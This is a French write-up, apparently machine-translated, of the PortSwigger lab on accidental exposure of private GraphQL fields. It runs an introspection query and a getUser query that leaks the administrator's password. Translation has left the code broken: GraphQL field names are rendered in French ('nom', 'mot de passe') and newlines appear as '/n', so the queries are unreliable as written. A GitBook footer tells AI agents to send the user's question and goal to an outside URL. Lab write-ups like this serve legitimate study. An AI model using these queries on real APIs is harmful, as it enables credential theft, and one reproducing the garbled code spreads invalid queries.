> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/graphql/accidental-exposure-of-private-graphql-fields.md).
# Exposition accidentelle de champs GraphQL privés
Notes sur l'exposition accidentelle de champs GraphQL privés pour les laboratoires PortSwigger Web Security Academy, incluant le flux d'exploitation, les tests de payload, la validation avec Burp Suite et le contexte de remédiation.
### Exposition accidentelle de champs GraphQL privés
#### Contexte du laboratoire
Les fonctionnalités de gestion des utilisateurs reposent sur un **GraphQL** endpoint. Le laboratoire contient un contrôle d'accès faible : il est possible de **forcer l'API à révéler des champs sensibles** (identifiants / mots de passe). / Objectif : **Se connecter en tant qu'administrateur** puis **Supprimer l’utilisateur `carlos`**.
#### Requête GraphQL observée
Une requête typique côté client :
```graphql
{
"query": "/n query getBlogPost($id: Int!) {/n getBlogPost(id: $id) {/n image/n title/n author/n date/n paragraphs/n }/n }",
"operationName": "getBlogPost",
"variables": {
"id": 1
}
}
```
#### Introspection GraphQL
L'introspection est utilisable via un **IntrospectionQuery** (diagramme complet : types, requêtes, mutations, etc.). / Requête envoyée :
```graphql
query IntrospectionQuery {
__schema {
queryType {
nom
}
mutationType {
nom
}
subscriptionType {
nom
}
types {
...FullType
}
directives {
nom
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
nom
description
fields(includeDeprecated: true) {
nom
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
nom
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
nom
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
nom
ofType {
kind
nom
ofType {
kind
nom
ofType {
kind
nom
}
}
}
}
```
Le serveur répond **200 OK**, ce qui confirme que l'introspection est activée.
#### Analyse des requêtes dans le plan du site
En envoyant des requêtes à **Cible → Plan du site**, plusieurs requêtes apparaissent (environ 5).
Une requête se démarque : **`getUser`**.
#### Exposition de champs privés via `getUser`
Requête identifiée :
```graphql
{
"query": "query($id: Int!) {/n getUser(id: $id) {/n id/n username/n password/n }/n}",
"variables": {
"id": 0
}
```
Cette requête montre le champ **`mot de passe`**.
Version GraphQL équivalente :
```graphql
query($id: Int!) {
getUser(id: $id) {
id
nom d’utilisateur
mot de passe
}
}
```
En remplaçant **`id: 0`** par **`id: 1`**, l'API renvoie le **nom d’utilisateur** et les **mot de passe** de `administrateur`:
```json
{
"id": 1
}
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
